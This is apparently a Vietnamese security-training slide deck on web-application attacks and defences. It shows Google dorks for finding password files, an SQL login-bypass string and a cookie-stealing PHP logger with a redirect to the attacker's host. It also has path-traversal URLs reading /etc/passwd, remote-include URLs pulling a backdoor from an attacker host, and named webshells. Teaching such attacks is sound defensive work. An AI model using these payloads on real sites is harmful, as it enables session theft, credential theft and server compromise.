Web app, Webserver: Các khái niệm và mô hình
1. Cẩn thận trong quá trình coding, viết một
rules hợp lý để validate tất cả các biến đầu
vào
2. Thường xuyên Update các hotfix, service
patch cho Webserver, OS
3 Dùng mod_security như một tường lửa web
để chặn các cuộc tấn công
4 Thiết lập hệ thống mạng an tòan
5. Dùng SSL, tránh sniff trên đường truyền,
dùng Snort để logging
38 trang |
Chia sẻ: huongnt365 | Lượt xem: 896 | Lượt tải: 0
Bạn đang xem trước 20 trang tài liệu Web app, Webserver: Các khái niệm và mô hình, để xem tài liệu hoàn chỉnh bạn click vào nút DOWNLOAD ở trên
Web
Application
Attack &
Defense
Trình bày : Võ Đỗ Thắng
Giám đốc Trung tâm an ninh mạng
Athena.
A. Web app, Webserver: Các khái
niệm và mô hình
B. Giới thiệu một số phương pháp
attack cơ bản nhắm vào web
app/webserver
C. Phát hiện và phòng chống
ATHENA
A. Web app, Webserver:
Các khái niệm và mô hình
Web application là gì?
Web app hay web service là một phần
mềm ứng dụng chạy phía server (thuộc
layer 7 trong mô hình OSI)
User có thể truy xuất web app bằng các
trình duyệt (web browser, telnet) hay
bằng các giao thức HTTP(s)
ATHENA 2001(c)WhiteHat Security, Inc.
A. Web app, Webserver: Các khái niệm
và mô hình
• Một số trình duyệt thông dụng:
IE (internet explorer)
FF( Mozilla Firefox)
Opera
• Một số webserver thông dụng
IIS : www.microsoft.com
Apache : www.apache.org
Jrun : www.marcomedia.com
Tomcat jakarta.apache.org
Iplanet webserver
Cold Fusion Webserver
ATHENA 2001(c)WhiteHat Security, Inc.
Mô hình chuẩn Web App
Web
Server
DB
Web
Client
Web app
Web app
HTTP
request
(cleartext
or SSL)
SQL
Databas
e
Firewall
ATHENA
DB
Web app
Web app
HTTP
reply
(HTML,
Javascript,
VBscript,
etc)
Plugins:
•Perl
•C/C++
•JSP, etc
Database
connection:
•ADO,
•ODBC,
etc.
•Apache
•IIS
•Netscape
etc
FIREWALL
ATHENA 2001(c)WhiteHat Security, Inc.
SSL
ATHENA 2001(c)WhiteHat Security, Inc.
ATHENA 2001(c)WhiteHat Security, Inc.
B. Giới thiệu một số phương pháp attack cơ bản
nhắm vào web app/webserver
1. Google attack
2. SQL injection
3. Cross site scripting
4. Hidden form vulnerability
5. Cookies injection
6. Flood database/Flood form
7. Local Attack
8. Path disclosure/Parsing exploit
9. Dictionary Traversal
10. Remote include file
11. Secured webserver
ATHENA 2001(c)WhiteHat Security, Inc.
Website viện kinh tế thành phố Hồ Chí Minh bị tấn
công, chiếm quyền kiểm soát
Demo:
ATHENA
Google Attack
Sử dụng google để hack là một trong
những phương pháp phổ biến của hacker
nhằm tìm được những thông tin nhạy
cảm từ victim
Phương pháp Google attack giúp cho
hacker có thể tìm ra thông tin những
victim đã định trước (mục tiêu đã xác
định) hay hack hàng lọat những victim có
lỗi tương tự (mục tiêu chưa xác định)
ATHENA
Google attack (cont)
Một số keyword hay được sử dụng:
1. Directory listing:
Intitle:index.of/admin
2. CGI scanning:
inurl:/iisadmpwd/
inurl://iisadmpwd/achg.htr
inurl://iisadmpwd/aexp.htr
inurl://iisadmpwd/aexp2.htr
inurl://iisadmpwd/aexp2b.htr
3. Port Scanning:
"VNC Desktop" inurl:5800
Inurl:webmin inurl:10000ATHENA
Google attack (cont)
Tìm link login:
Inurl:/admin/login.asp
Inurl:/administrator/login.asp
Inurl:/admin/admin_login.asp
Tìm thông tin chứa user/password:
"Index of" htpasswd / passwd
filetype:xls username password email
"WS_FTP.LOG"
"config.php"
allinurl: admin mdb
service filetype:pwd (FrontPage)
Inurl:/admin.mdb
Filetype:mdb user password
ATHENA
SQL injection
Lỗi này thường xảy ra trên các ứng dụng
web có csdl được quản lý bằng các hệ cơ
sở dữ liệu như SQL Server, Mysql,
Oracle, DB2, Sysbase, MsAccess
Mỗi hệ quản trị csdl có một số điểm
giống và khác nhau giữa các phương
pháp injection
Trong bài báo cáo này xin trình bày
phương pháp injection trong hệ quản trị
csdl phổ biến nhất thế giới: MSSQLATHENA 2001(c)WhiteHat Security, Inc.
Các dạng tấn công SQL injection
SQL bypass:
Login.htm
Username: <input type="text"
name="fUSRNAME">
Password: <input type="password"
name="fPASSWORD">
ATHENA 2001(c)WhiteHat Security, Inc.
SQL Bypass
execlogin.asp
<%
Dim vUsrName, vPassword, objRS, strSQL
vUsrName = Request.Form("fUSRNAME")
vPassword = Request.Form("fPASSWORD")
strSQL = "SELECT * FROM T_USERS " & _
"WHERE USR_NAME=' " & vUsrName & _
" ' and USR_PASSWORD=' " & vPassword & " ' "
Set objRS = Server.CreateObject("ADODB.Recordset")
objRS.Open strSQL, "DSN=..."
If (objRS.EOF) Then
Response.Write "Invalid login."
Else
Response.Write "You are logged in as " & objRS("USR_NAME")
End If
Set objRS = Nothing
%>
ATHENA 2001(c)WhiteHat Security, Inc.
SQL bypass
- Khi hacker nhập vào:
‘ or ‘’=‘
Câu truy vấn sẽ trở thành
SELECT * FROM T_USERS WHERE USR_NAME =''
OR ''='' and USR_PASSWORD= '' OR ''='‘
- Câu truy vấn
Câu truy vấn này là hợp lệ và sẽ trả về tất cả các bản ghi của
T_USERS và đoạn mã tiếp theo xử lí
Người dùng đăng nhập bất hợp pháp này như là người dùng
đăng nhập hợp lệ.
Tuy nhiên thực tế từng trường hợp cụ thể sẽ có các cách
bypass khác nhau, ko có công thức chung.
(Xem video demo SQL bypass vienkinhte.gov.vn)
ATHENA 2001(c)WhiteHat Security, Inc.
SQL injection (cont)
Ngoài ra còn một số kĩ thuật nâng cao khác sử dụng
SQL injection như:
Union/Convert magic (khai thác dữ liệu)
- Blind SQL injection
- Tạo script Ddos sever
- Sử dụng openrowset
- Store procedure injection, kĩ thuật nâng quyền
user,giới thiệu về kĩ thuật runtime patching
- Upload backdoor
(phần này khá dài,demo hòan tòan bằng Video)
(xem video sql_ij_basic, sql_ij_admin)
ATHENA 2001(c)WhiteHat Security, Inc.
Cross site scripting
Cross site scripting là gì?
- Cross site scripting viết tắt là XSS (để tránh nhầm
lẫn với CSS) là một dạng tấn công hướng về phía
User (Client) mà ko tác động trực tiếp đến
webserver
- Hacker thường lợi dụng XSS để đánh cắp cookie
của user, phising etc
- Tuy nhiên vẫn có trường hợp ngọai lệ Hacker vẫn
có thể xử dụng XSS để get root server (xem
Iplanet server attack)
ATHENA 2001(c)WhiteHat Security, Inc.
Cross site scripting
- Phương pháp test:
+ inject đọan script
+ alert(‘test’) vào bất cứ
đâu cho phép user input data (Url,
Feedback, Form, Search, cookieetc)
+ Nếu thấy xuất hiện ra một pop-up ‘test’
thì có nghĩa là website đã bị dính XSS
+ Đọan code trên không phải là cách test
chung, nhiều trường hợp phải view
source hoặc mã hóa để vượt qua filter.
ATHENA
Cross site scripting
- Phương pháp tấn công:
+ Attacker viết một đọan mã để get cookie của
victim như sau:
<?php
$cookie = $_GET['cookie'];
$log = fopen("cookies11.txt","a");
//cookies11.txt //chmod 777
fwrite($log, $cookie ."\n");
fclose($log);
?>ATHENA 2001(c)WhiteHat Security, Inc.
Cross site scripting
- Sau đó up lên 1 hosting của hacker
+ Vd:
- Kế tiếp hacker sẽ post đọan code sau vào forum (or URL )
của 1 website với hình thức như sau
+
window.location = ' +
document.cookie;
- Sau đó bằng vài phương pháp phising, sau khi victim đã
đăng nhập và đọc bài viết (hoặc click vào URL) của hacker đã
gửi, lập tức cookie của victim đã đc ghi vào file cookie11.txt
của hacker.Công việc còn lại của Hacker khá đơn giản:fake
cookie và truy xuất tài nguyên của website với quyền của user
vừa chiếm được
ATHENA 2001(c)WhiteHat Security, Inc.
Hidden form vulnerability
Hidden form vulnerability là gì?
- Là một dạng truyền biến của webapplication, coder
không muốn cho user can thiệp trong quá trình
truyền biến
- Hidden form có dạng:
<input type="hidden" value="13.95"
name="jac_minReqTotal"> <input type="hidden"
value="1" name="jac_minReqUnits"> <input
type="hidden" value="0"
name="jac_minReqWeight">
- Vậy điều gì xảy ra nếu như các biến trong hidden
form không được check một cách chặt chẽ khi user
submit? Hacker sẽ lợi dụng điều này như thế nào?!?
(xem video hiden_form_demo)
ATHENA 2001(c)WhiteHat Security, Inc.
Cookies injection
Cookie là gì?
- Cookie là những phần dữ liệu nhỏ có cấu trúc được chia sẻ
giữa web site và browser của người dùng. cookies được lưu trữ
dưới những file dữ liệu nhỏ dạng text (size dưới 4k). Chúng
được các site tạo ra để lưu trữ/truy tìm/nhận biết các thông tin
về người dùng đã ghé thăm site và những vùng mà họ đi qua
trong site.
- Những thông tin này có thể bao gồm tên/định danh người
dùng, mật khẩu, sở thích, thói quenTrong một số trường
hợp, cookie có thể hiểu là 1 token để Authentication người
dùng.
- Ngòai cách tấn công bằng XSS để lấy cookie của victim,
Hacker còn có thể dùng một kĩ thuật gọi là “cookie
injection” để chiếm lấy phiên làm việc của victim nếu như
thông qua một vài chỗ yếu trong cách xác thực của
cookies
(Xem video cookie_injection)ATHENA 2001(c)WhiteHat Security, Inc.
5. Flood database/Flood form
Flood database/ Flood form là gì:
- Đây thực ra không phải là một phương pháp hacking,
có thể tạm xếp vào là một trong những hình thức DoS,
nhưng đây là hình thức DoS vào database.
- Cách thức tấn công: Hacker tạo ra những script để post
một cách tự động vào forum, create member, search
form, feedback đến một lúc nào đó thì webserver của
victim cạn kiệt bandwitch hay sự nở ra liên tục của DB
khiến dung lượng ổ cứng của victim bị full và crash cả
hệ thống
- Xem Flood blog_yahoo_demo
ATHENA 2001(c)WhiteHat Security, Inc.
6. Local attack
- Là phương pháp attack khi hacker hosting cùng server
với victim
- Công cụ sử dụng chủ yếu là dùng script backdoor
(như r57shell.php, c99.php, remview.php) hay đối với
ASP là (Ntdady.asp, 4in1.asp )
- Phương pháp này rất lợi hại, biến hóa khôn lường
- Rất nhiều Hosting trên thế giới bị exploit qua phương
pháp này, ngay cả một số Hosting nổi tiếng của
vietnam cũng bị (VDC, FPTetc)
(xem demo local_basic_att, hosting.vnn.vn,
root_linux)
ATHENA
7. Path disclosure/parsing
exploit
- Thường được gọi dưới một tên khác là lỗi “lộ
đường dẫn”
- Được đánh giá là lỗi có độ nguy hiểm trung bình
(vì nó chỉ có giá trị khi tấn công localhost biết
được đường dẫn của victim)
- Tuy nhiên đôi khi lại khá nguy hiểm nếu để lộ ra
đường dẫn dẫn đến folder chứa database.
- Riêng trường hợp parsing exploit cần kết hợp cả 2
điều kiện là webserver xài IIS 5.x và phân ASP
coding bị lỗi khi sử dụng phương pháp
Server.MapPath
(xem parsing_exploit)
ATHENA
Dictionary Traversal
- Hay còn gọi là Path tranversal, mức độ
nguy hiểm còn tùy thuộc vào nhiều tình
huống cụ thể
- Xét vd:
Giả sử có 1 site bán máy nọ cho phép
client download các file tài liệu hướng dẫn
sử dụng sản phẩm. Họ dùng 1 file
download.php và sử dụng như sau:
http://[target.com]/download/download.ph
p?file=xyz.pdf
ATHENA
8. Dictionary Traversal
(cont)
$fp = fopen($file, 'r');
fpassthru($fp); // ** CORRECT **
fclose($fp);
?>
<?php
$file=$_GET['file'];
$filename = $file;
header("Cache-control: private"); // fix for IE
header("Content-Type: application/octet-stream");
header("Content-Length: ".filesize($filename));
header("Content-Disposition: attachment;
filename=$name");
ATHENA
Dictionary Traversal (cont)
Lúc đó hacker sẽ khai thác theo kiểu
http://[target.com]/download/download.php?file=../../c
onfig.php
http://[target.com]/download/download.php?file=../db.
php
http://[target.com]/download/download.php?file=../../..
/etc/passwd
Lúc đó hacker sẽ down được những file chứa thông tin
rất nhạy cảm như VD trên là config.php,db.php (chứa
thông tin connect đến database etc) hay /etc/passwd
chứa thông tin về user/pass shadow họăc chưa shadow
etc
ATHENA
Remote include file
- Là một lỗi thông dụng trong các ứng dụng web được
viết bằng PHP
- Có liên quan mật thiết đến phương pháp local attack
- Lợi dụng sự bất cẩn của Programmer khi dùng hàm
include() hay require() trong PHP
Vd:test.php
<?
$ex=”/home/www/testsite”;
include(“$ex/index.php”); ?>
ko bị lỗi, nhưng nếu
<?
include(“$ex/index.php”); ?>
ATHENA
Remote include file
Khi đó hacker sẽ include vào 1 file:
[target].com/test.php?ex=[attacker].com/
Khi đó link sẽ include là
[attacker].com/index.php
Index.php khi đó là một backdoor được lưu ở host hacker (host
của hacker ko support php)
Hoặc attacker có thể dùng cách khác
[target].com/test.php?ex=[attacker].com/
backdoor.php
(đằng sau dấu ? Sẽ ignore tất cả, trường hợp này là ignore
/index.php có sẵn trong code test.php của victim)
ATHENA
Remote include file
b/ Lỗi File include thông qua isset(), if()
Test1.php
<?
if (!$file) {$file = ``index.php``;}
include(“$file”);
[]
? >
ATHENA
Remote include file
Test2.php
if (!isset( $path )) $path = `/home/`;
include(“$path/index.php”);
[]
? >
Cách khai thác:
[target].com/test1.php?file=[at
tacker].com/remview.php
[target].com/test2.php?path=[
attacker].com/remview.php?
ATHENA
Remote include file
Test3.php
<?
include(“/home/$file”);
[]
?>
Cách khai thác
[target].com/test3.php?file=../
../../../../../../../etc/passwd
ATHENA
How to Secure?
1. Cẩn thận trong quá trình coding, viết một
rules hợp lý để validate tất cả các biến đầu
vào
2. Thường xuyên Update các hotfix, service
patch cho Webserver, OS
3 Dùng mod_security như một tường lửa web
để chặn các cuộc tấn công
4 Thiết lập hệ thống mạng an tòan
5. Dùng SSL, tránh sniff trên đường truyền,
dùng Snort để logging
ATHENA
Tài liệu tham khảo
ATHENA
ATHENA
Trung Tâm Đào Tạo Quản Trị & An Ninh Mạng Athena
2 Bis Đinh Tiên Hoàng, Phường ĐaKao, Quận 1
Website : www.athena.edu.vn
Tel: 8244041
Các file đính kèm theo tài liệu này:
- web_security_athena_ppt_compatibility_mode_4919_1896764.pdf